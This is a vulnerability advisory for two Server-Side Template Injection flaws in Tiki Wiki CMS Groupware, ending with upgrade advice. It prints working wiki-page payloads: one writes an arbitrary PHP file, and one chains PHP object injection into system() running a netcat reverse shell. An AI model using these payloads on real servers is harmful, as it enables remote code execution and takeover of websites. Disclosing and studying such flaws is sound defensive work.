    [-] Vulnerabilities Description:
    
    Tiki Wiki CMS Groupware is affected by two Server-Side Template Injection
    (SSTI) vulnerabilities, which can be exploited by creating specially
    crafted wiki pages.
    
    The first vulnerability can be exploited by abusing the "customsearch"
    plugin to, e.g., write arbitrary PHP files on the web server by using the
    following as the source code for a wiki page:
    
    {customsearch
    tpl="string:{Nette\Utils\FileSystem::write('./evil.php','<?php
    malicious_code(); ?>')}"}
    
    The second vulnerability can be leveraged by abusing the "includetpl"
    plugin to, e.g., carry out PHP Object Injection attacks, subsequently
    leading to OS command execution on the web server, using the following as
    the source code for a wiki page:
    
    {includetpl
    filename="eval:{Laminas\Ldap\Converter\Converter::fromLdapUnserialize('O:18:\"Search_MySql_Table\":1:{S:32:\"\00Search_MySql_Table\00schemaBuffer\";O:28:\"Search_Elastic_BulkOperation\":3:{S:35:\"\00Search_Elastic_BulkOperation\00count\";i:1;S:36:\"\00Search_Elastic_BulkOperation\00buffer\";S:83:\"rm
    /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 127.0.0.1 4444 >
    /tmp/f\";S:38:\"\00Search_Elastic_BulkOperation\00callback\";S:6:\"system\";}}')}"}
    
    Successful exploitation of these vulnerabilities requires an account with
    permissions to create a wiki page and the "customsearch" or "includetpl"
    plugins to be enabled.
    
    
    [-] Solution:
    
    Upgrade to version 28.4, 27.3, 24.9, or later.
